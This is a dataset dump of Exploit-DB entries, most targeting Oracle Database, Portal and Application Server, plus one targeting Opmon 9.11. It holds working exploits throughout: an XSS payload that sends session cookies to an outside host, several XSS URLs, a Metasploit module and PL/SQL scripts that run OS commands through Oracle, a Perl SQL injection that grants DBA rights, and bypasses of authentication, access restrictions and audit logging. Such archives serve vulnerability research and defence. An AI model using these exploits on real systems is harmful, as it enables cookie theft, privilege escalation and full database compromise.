deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50857
Description: Opmon 9.11 - Cross-site Scripting
Type: remote
Platform: multiple
Date: 2022-04-07
Author: Marlon Petry

Exploit:
# Exploit Title: Opmon 9.11 - Cross-site Scripting
# Date: 2021-06-01
# Exploit Author: p3tryx
# Vendor Homepage: https://www.opservices.com.br/monitoramento-real-time
# Version: 9.11
# Tested on: Chrome, IE and Firefox
# CVE : CVE-2021-43009

# URL POC:

<script>
alert(document.cookie);
var i=new Image;
i.src="http://192.168.0.18:8888/?"+document.cookie;
</script>

Url-encoded Payload

%3Cscript%3E%0Aalert%28document.cookie%29%3B%0Avar%20i%3Dnew%20Image%3B%0Ai.src%3D%22http%3A%2F%2F192.168.0.18%3A8888%2F%3F%22%2Bdocument.cookie%3B%0A%3C%2Fscript%3E

```
*https://192.168.1.100/opmon/seagull/www/index.php/opinterface/action/redirect/initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/filter*
<https://opmon/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/?filter>
[search]=%27};PAYLOAD&x=0&y=0

*https://192.168.1.100/opmon/seagull/www/index.php/opinterface/action/redirect/initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/filter*
<https://opmon/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/?filter>
[search]=%27};
%3Cscript%3E%0Aalert%28document.cookie%29%3B%0Avar%20i%3Dnew%20Image%3B%0Ai.src%3D%22http%3A%2F%2F192.168.0.18%3A8888%2F%3F%22%2Bdocument.cookie%3B%0A%3C%2Fscript%3E
&x=0&y=0

```
Exploit-DB #29371
Description: Oracle 10g Portal - 'Key' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-12-29
Author: Pham Duc Hai

Exploit:
source: https://www.securityfocus.com/bid/21812/info

Oracle Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/portal/page?_pageid=<pageid>&_dad=portal&_schema=<schema>&key="><script>alert('xss_bug_found');</script>
Exploit-DB #33082
Description: Oracle 10g Secure Enterprise Search - 'search_p_groups' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-06-14
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/35681/info

Oracle Database is prone to a cross-site scripting vulnerability that affects the Secure Enterprise Search component.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com:7777/search/query/search?search.timezone=&search_p_groups="&#039;><IMG%20SRC=javascript:alert(document.cookie)>&q=1234&btnSearch=Search
Exploit-DB #33601
Description: Oracle 11g - Multiple Privilege Escalation Vulnerabilities
Type: remote
Platform: multiple
Date: 2010-02-05
Author: David Litchfield

Exploit:
source: https://www.securityfocus.com/bid/38115/info
 
Oracle Database is prone to multiple remote privilege-escalation issues because it fails to properly restrict access to certain packages.
 
The attacker can exploit these issues to escalate their privileges to DBA or execute arbitrary operating system commands with SYSTEM privileges, leading to a complete compromise of an affected computer.
 
These vulnerabilities affect Oracle Database 11gR2. One of the issues also affects Oracle Database 10gR2. 

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::ORACLE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => ' DBMS_JVM_EXP_PERMS 11g R1/R2 OS Code Execution',
			'Description'    => %q{
				This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows
				any user with create session privilege to grant themselves java IO privileges.
				Identified by David Litchfield. Works on 11g R1 and R2 (Windows only).

			},
			'Author'         => [ 'sid[at]notsosecure.com' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 8822 $',
			'References'     =>
				[
					[ 'URL', 'http://blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Litchfield' ],
					[ 'URL', 'http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/' ],
				],
			'DisclosureDate' => 'Feb 1 2010'))

			register_options(
				[
					OptString.new('CMD', [ false, 'CMD to execute.',  "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]),
				], self.class)
	end

	def run
		name = Rex::Text.rand_text_alpha(rand(10) + 1)


		package = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;"
		os_code = "select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c  #{datastore['CMD']}')from dual"



		begin
			print_status("Attempting to grant JAVA IO Privileges")
			prepare_exec(package)
			print_status("Attempting to execute OS Code")
			prepare_exec(os_code)
		rescue => e
			print_status("Error: #{e.class} #{e}")
		end
	end

end
Exploit-DB #26332
Description: Oracle 9 - XML DB Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2005-10-07
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/15034/info

Oracle XML DB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue was originally described and addressed in Oracle Critical Patch Update - April 2005, BID 13139 (Oracle Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID. 

http://user:host@example.com:8080/oradb<script>alert('Hi')</script>
Exploit-DB #2951
Description: Oracle 9i/10g - 'extproc' Local/Remote Command Execution
Type: remote
Platform: multiple
Date: 2006-12-19
Author: Marco Ivaldi

Exploit:
--
-- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $
--
-- raptor_oraextproc.sql - command exec via oracle extproc
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- Directory traversal vulnerability in extproc in Oracle 9i and 10g 
-- allows remote attackers to access arbitrary libraries outside of the 
-- $ORACLE_HOME\bin directory (CVE-2004-1364).
--
-- This PL/SQL code exploits the Oracle extproc directory traversal bug
-- to remotely execute arbitrary OS commands with the privileges of the DBMS 
-- user (the CREATE [ANY] LIBRARY privilege is needed).
--
-- See also: 
-- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql
-- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql
--
-- Vulnerable platforms:
-- Oracle 9i (all versions?)
-- Oracle 10g versions prior to 10.1.0.3
--
-- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production,
-- running on both Solaris 9 and 10 systems. It will need some tweakings to 
-- properly work on other platforms.
--
-- Usage example:
-- $ echo $ORACLE_HOME
-- /opt/oracle/
-- $ sqlplus "/ as sysdba"
-- [...]
-- Connected to:
-- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production
-- With the Partitioning, OLAP and Oracle Data Mining options
-- JServer Release 9.2.0.1.0 - Production
-- SQL> @raptor_oraextproc.sql
-- [...]
-- exec oracmd32.exec('touch /tmp/32');
-- [...]
-- ERROR at line 1:
-- ORA-06520: PL/SQL: Error loading external library
-- ORA-06522: ld.so.1: extprocPLSExtProc: fatal:
-- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class:
-- ELFCLASS32
-- [...]
-- SQL> exec oracmd64.exec('touch /tmp/64');
-- SQL> !ls -l /tmp/64
-- -rw-r--r--   1 oracle   orainst        0 Dec 19 13:49 /tmp/64
--

-- library for 32-bit oracle releases
create or replace library exec_shell32 as
'$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1';
/

-- library for 64-bit oracle releases
create or replace library exec_shell64 as
'$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1';
/

-- package for 32-bit oracle releases
-- usage: exec oracmd32.exec('command');
create or replace package oracmd32 as
	procedure exec(cmdstring in char);
end oracmd32;
/
create or replace package body oracmd32 as
	procedure exec(cmdstring in char)
	is external
	name "system"
	library exec_shell32
	language c;
end oracmd32;
/

-- package for 64-bit oracle releases
-- usage: exec oracmd64.exec('command');
create or replace package oracmd64 as
	procedure exec(cmdstring in char);
end oracmd64;
/
create or replace package body oracmd64 as
	procedure exec(cmdstring in char)
	is external
	name "system"
	library exec_shell64
	language c;
end oracmd64;
/

-- milw0rm.com [2006-12-19]
Exploit-DB #2837
Description: Oracle 9i/10g - 'read/write/execute' ation Suite
Type: remote
Platform: multiple
Date: 2006-11-23
Author: Marco Ivaldi

Exploit:
--
-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $
--
-- raptor_oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java).
--
-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system 
-- commands" -- David Litchfield (http://www.databasesecurity.com/)
--
-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
-- -rw-r--r--   1 oracle   system      1645 Nov 22 12:20 aaa
-- -rw-r--r--   1 oracle   system      8267 Nov 22 12:20 bbb
-- [...]
--

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
	/*
	 * Command execution module
	 */
	public static void execCommand(String command) throws IOException
	{
		Runtime.getRuntime().exec(command);
	}

	/*
	 * File reading module
	 */
	public static void readFile(String filename) throws IOException
	{
		FileReader f = new FileReader(filename);
		BufferedReader fr = new BufferedReader(f);
		String text = fr.readLine();
		while (text != null) {
			System.out.println(text);
			text = fr.readLine();
		}
		fr.close();
	}

	/*
	 * File writing module
	 */
	public static void writeFile(String filename, String line) throws IOException
	{
		FileWriter f = new FileWriter(filename, true); /* append */
		BufferedWriter fw = new BufferedWriter(f);
		fw.write(line);
		fw.write("\n");
		fw.close();
	}
}
/

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java           
name 'oraexec.execCommand(java.lang.String)';
/

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/

-- milw0rm.com [2006-11-23]
Exploit-DB #25613
Description: Oracle 9i/10g - Database Fine Grained Audit Logging Failure
Type: remote
Platform: multiple
Date: 2005-05-05
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/13510/info

Oracle 9i/10g Database is prone to a logging failure vulnerability that exists in Fine Grained Audit (FGA) functionality.

Reports indicate that FGA may be disabled inadvertently, without notifying the database administrator. This results in FGA failing to log queries subsequent to the logging failure, this occurs for all database users and may result in a false sense of security. 

The following steps to reproduce are available:

1. Create user and objects and add policy.
connect /as sysdba
grant dba to fga identified by fga;
conn fga/fga
create table emp as select * from scott.emp;
execute dbms_fga.add_policy(object_schema=>'FGA',
object_name=>'EMP',policy_name=>'FGA_POLICY');

2. Run SQL from fga user
conn fga/fga
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;

--> It will return 1 row.

3. Run SQL from SYS user
conn /as sysdba
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;

--> It will return 1 row which was obtained by step 2.

A new row was not inserted.

4. Run SQL from fga user again

conn fga/fga
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;

--> It will return 1 row which was obtained by step 2.

A new row was not inserted again.
Exploit-DB #3269
Description: Oracle 9i/10g - DBMS_EXPORT_EXTENSION SQL Injection
Type: remote
Platform: multiple
Date: 2007-02-05
Author: bunker

Exploit:
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# Grant or revoke dba permission to unprivileged user
# 
# Tested on Oracle 10g - Release 10.2.0.1.0
#	    Oracle  9i - Release  9.2.0.2.0
# 
#   REF:    https://www.securityfocus.com/bid/17699
#
#   AUTHOR: Andrea "bunker" Purificato
#           http://rawlab.mindcreations.com
#
#   DATE:   Copyright 2007 - Sun Feb  4 15:53:04 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
use warnings;
use strict;
use DBI;
use DBD::Oracle;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";
    
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r

Options:
     -h     <host>     target server address
     -s     <sid>      target sid name
     -u     <user>     user
     -p     <passwd>   password 

     -g|-r             (g)rant dba to user | (r)evoke dba from user

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:gr';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;

my $sqlcmd = "GRANT DBA TO $user";

print "[-] Wait...\n";
$dbh->{RaiseError} = 1;

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

$dbh->do( qq{ 
CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
END;
} );

print "[-] Building evil package\n";

$dbh->do(qq{ 
CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd';
COMMIT;
RETURN(1);
END;
END;
} );

print "[-] Finishing evil package\n";

$dbh->do(qq{ 
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := '$user';
TYPE_NAME := 'BUNKERPKG';
TYPE_SCHEMA := '$user';
VERSION := '';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
} );

print "[-] YOU GOT THE POWAH!!\n";

$dbh->disconnect;

exit;

# milw0rm.com [2007-02-05]
Exploit-DB #33084
Description: Oracle 9i/10g Database - Network Foundation Remote Overflow
Type: remote
Platform: multiple
Date: 2009-06-14
Author: Dennis Yurichev

Exploit:
source: https://www.securityfocus.com/bid/35684/info

Oracle Database is prone to a remote vulnerability in Network Foundation.

The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability.

The following supported versions are affected:

9.2.0.8
9.2.0.8DV
10.1.0.5
10.2.0.4
11.1.0.7 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33084.zip
Exploit-DB #25559
Description: Oracle Application Server 9.0 - HTTP Service Mod_Access Restriction Bypass
Type: remote
Platform: multiple
Date: 2005-04-28
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/13418/info

Oracle HTTP Server(OHS) of Oracle Application Server is prone to an access restriction bypass vulnerability.

It is possible to configure a list of forbidden URIs in OHS. This is accomplished using 'mod_access'. A URI that is listed is not supposed to be accessible to certain clients, depending on the configuration. However, reports indicate that the Oracle Webcache client may be used to access URIs regardless of the restrictions outlined in OHS 'mod_access'. 

(Port 7778 = Webcache, Port 7779 = OHS)

The following URLs are NOT protected if you access them via Webcache:
http://example.com:7778/dmsoc4j/AggreSpy?format=metrictable&nountype=ohs_child&orderby=Name
http://example.com:7778/server-status
http://example.com:7778/dms0

The following URLs are protected:
http://example.com:7779/dmsoc4j/AggreSpy?format=metrictable&nountype=ohs_child&orderby=Name
http://example.com:7779/server-status
http://example.com:7779/dms0
Exploit-DB #25562
Description: Oracle Application Server 9i - Webcache Cache_dump_file Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2005-04-28
Author: Alexander Kornbrust

Exploit:
source : https://www.securityfocus.com/bid/13421/info

A remote cross-site scripting vulnerability affects the Oracle Application Server 9i Webcache administration console. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

The issue affects the 'cache_dump_file' parameter of the 'webcacheadmin' script. 

http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_replace_file.txt<script>alert(document.cookie);</script>
http://administrator:administrator@example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_append_file.txt<script>alert(document.cookie);</script>
Exploit-DB #25563
Description: Oracle Application Server 9i - Webcache PartialPageErrorPage Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2005-04-28
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/13422/info

A remote cross-site scripting vulnerability affects the Oracle Application Server 9i Webcache administration console. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

The issue affects the 'PartialPageErrorPage' parameter of the 'webcacheadmin' script. 

http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.Site.ApologyPages_Edit&ACTION=Submit&PartialPageErrorPage=/inservice.html<script>alert(document.cookie)</script>&site_id=2
Exploit-DB #25561
Description: Oracle Application Server 9i Webcache - Arbitrary File Corruption
Type: remote
Platform: multiple
Date: 2005-04-28
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/13420/info

Oracle Application Server 9i Webcache is prone to an arbitrary file corruption vulnerability.

The issue exists becaue dangerous characters are not removed from a certain parameter value, allowing an attacker to construct a URI that contains an absolute path to any target file.

If this URI is followed by a user with sufficient privileges, garbage data is appended to the end of the specified file. 

http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/opt/ORACLE/ias/9.0.2/Apache/Apache/conf/httpd.conf
Exploit-DB #31770
Description: Oracle Application Server Portal 10g - Authentication Bypass
Type: remote
Platform: multiple
Date: 2008-05-09
Author: Deniz Cevik

Exploit:
source: https://www.securityfocus.com/bid/29119/info

Oracle Application Server Portal is prone to a authentication-bypass vulnerability because the application fails to properly restrict access to certain resources.

An attacker can exploit this vulnerability to bypass certain security restrictions and gain access to potentially sensitive contents of the portal.

Oracle Application Server Portal 10g is vulnerable to this issue; other versions may also be affected.

Visiting the 'http://www.example.com/portal/%0A' site will create a cookie sufficient to trigger the issue and access 'http://www.example.com/dav_portal/porta/' without authorization.